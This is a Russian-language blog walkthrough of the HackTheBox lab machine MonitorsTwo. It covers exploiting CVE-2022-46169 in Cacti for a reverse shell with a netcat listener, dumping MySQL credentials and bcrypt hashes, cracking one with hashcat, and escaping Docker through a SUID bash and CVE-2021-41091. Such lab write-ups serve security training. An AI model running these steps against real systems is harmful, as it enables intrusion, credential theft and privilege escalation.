Блог

Разбор HackTheBox — MonitorsTwo (Easy)

Сложность:Easy
ОС:Linux
Баллы:30
IP:10.10.11.211
Теги:Code Review, Docker Escape, Linux PrivEsc, CVE-2022-46169, CVE-2021-41091

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем что веб-сервис Cacti 1.2.22 уязвим к RCE. Далее, получаем доступ к Docker-контейнеру на целевой машине с учётной записью www-data. В скрипте, хранящимся внутри контейнера обнаружим УЗ СУБД MySQL. В базе cacti содержался слабый хэш пароля от УЗ целевой машины пользователя marcus, который уязвим к атаке полного перебора по словарю известных паролей rockyou и получили флаг пользователя marcus. Воспользовавшись уязвимостью CVE-2021-41091 отредактировали права бинарного файла /bin/bash так, что он стал обладать исключительными правами на исполнение с привилегиями пользователя root от лица любого пользователя, который можно исполнять вне контейнера и таким образом получили флаг пользователя root.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.211

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.211

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)

Перейдём напрямую по IP адресу машины и осмотрим страницу веб-сервиса на 80 порту:

Уязвимое ПО Cacti 1.2.22 и получение начального доступа

На странице фигурирует некое ПО для мониторинга и анализа сети Cacti версии 1.2.22. Перед выбором дальнейшего пути развития атаки осуществим поиск существующих уязвимостей и готовых эксплоитов с помощью утилиты searchsploit:

searchsploit cacti 1.2.22 -v

Выяснили, что это ПО уязвимо к CVE-2022-46169, которая позволяет получить обратный шелл. Готовый эксплоит доступен для использования; скопируем и организуем доступ на целевую машину:

searchsploit -m 51166
nc -nvlp 7331
python 51166.py -u http://10.10.11.211/ -i yourIP -p 7331

Получили доступ на целевую машину от лица сервисной УЗ www-data.

Получение доступа к УЗ пользователя

Осуществим поиск бинарных файлов с SUID правами одним и следующих способов:

sudo -l
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -u=s -type f 2>/dev/null

В результате получим такой вывод:

/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su

Один из бинарных файлов /sbin/capsh выглядит нестандартно. Также, просмотрим что за файлы доступны в корневой директории с помощью ls -la:

drwxr-xr-x   1 root root 4096 Mar 21 10:49 .
drwxr-xr-x   1 root root 4096 Mar 21 10:49 ..
-rwxr-xr-x   1 root root    0 Mar 21 10:49 .dockerenv
drwxr-xr-x   1 root root 4096 Mar 22 13:21 bin
drwxr-xr-x   2 root root 4096 Mar 22 13:21 boot
drwxr-xr-x   5 root root  340 Apr 29 22:40 dev
-rw-r--r--   1 root root  648 Jan  5 11:37 entrypoint.sh

Выведем содержимое файла entrypoint.sh:

#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"

Обнаружили название локальной БД и УЗ СУБД MySQL: root:root

С помощью следующей команды выведем список таблиц:

mysql --host=db --user=root --password=root cacti -e "show tables;"

Полный список таблиц в БД cacti:

Tables_in_cacti
aggregate_graph_templates
aggregate_graph_templates_graph
aggregate_graph_templates_item
aggregate_graphs
aggregate_graphs_graph_item
aggregate_graphs_items
automation_devices
automation_graph_rule_items
automation_graph_rules
automation_ips
automation_match_rule_items
automation_networks
automation_processes
automation_snmp
automation_snmp_items
automation_templates
automation_tree_rule_items
automation_tree_rules
[...]
user_auth
[...]

Выведем содержимое таблицы user_auth:

mysql --host=db --user=root --password=root cacti -e "select * from user_auth;"

Получили ряд записей, содержащих хэши/пароли локальных УЗ:

id      username     password   [...]
1       admin        $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
3       guest        43e9a4ab75570f5b
4       marcus       $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

Полученные хэши являются хэшами паролей УЗ ОС Linux в формате $2*$ (Blowfish). Осуществим перебор с помощью утилиты hashcat: hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Для учетной записи не удалось подобрать пароль, но для учётной записи marcus был подобран пароль funkymonkey.

Попытаемся авторизоваться по SSH с полученными данными УЗ:

Получили доступ к пользователю и его флагу!

Повышение до root

При авторизации с учётной записью marcus получили сообщение о новом письме, выведем его содержимое: cat /var/mail/marcus

From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team

Разобравшись в чём заключаются уязвимости, о которых предупреждает администратор системы можно понять, что можно воспользоваться уязвимостью CVE-2021-41091 можно получить бинарный файл bash с правами SUID. Для этого в сессии пользователя www-data, полученной ранее выполним следующую команду: capsh --gid=0 --uid=0 --

Таким образом, внутри контейнера с веб-приложением получили права пользователя root, затем мы можем выдать SUID права на /bin/bash внутри контейнера: chmod u+s /bin/bash

Далее, внутри сессии пользователя marcus найдём точку монтирования контейнера с помощью df:

Filesystem     1K-blocks    Used Available Use% Mounted on
udev             1966928       0   1966928   0% /dev
tmpfs             402608    1232    401376   1% /run
/dev/sda2        7054840 4451424   2513656  64% /
tmpfs            2013040       0   2013040   0% /dev/shm
tmpfs               5120       0      5120   0% /run/lock
tmpfs            2013040       0   2013040   0% /sys/fs/cgroup
[...]
overlay          7054840 4451424   2513656  64% /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

Перейдём в эту директорию и выполним /bin/bash с повышенными правами из контейнера:

Мы смогли получить флаг пользователя root!

Ссылки:

https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit

https://github.com/UncleJ4ck/CVE-2021-41091

https://ihsansencan.github.io/privilege-escalation/linux/binaries/capsh.html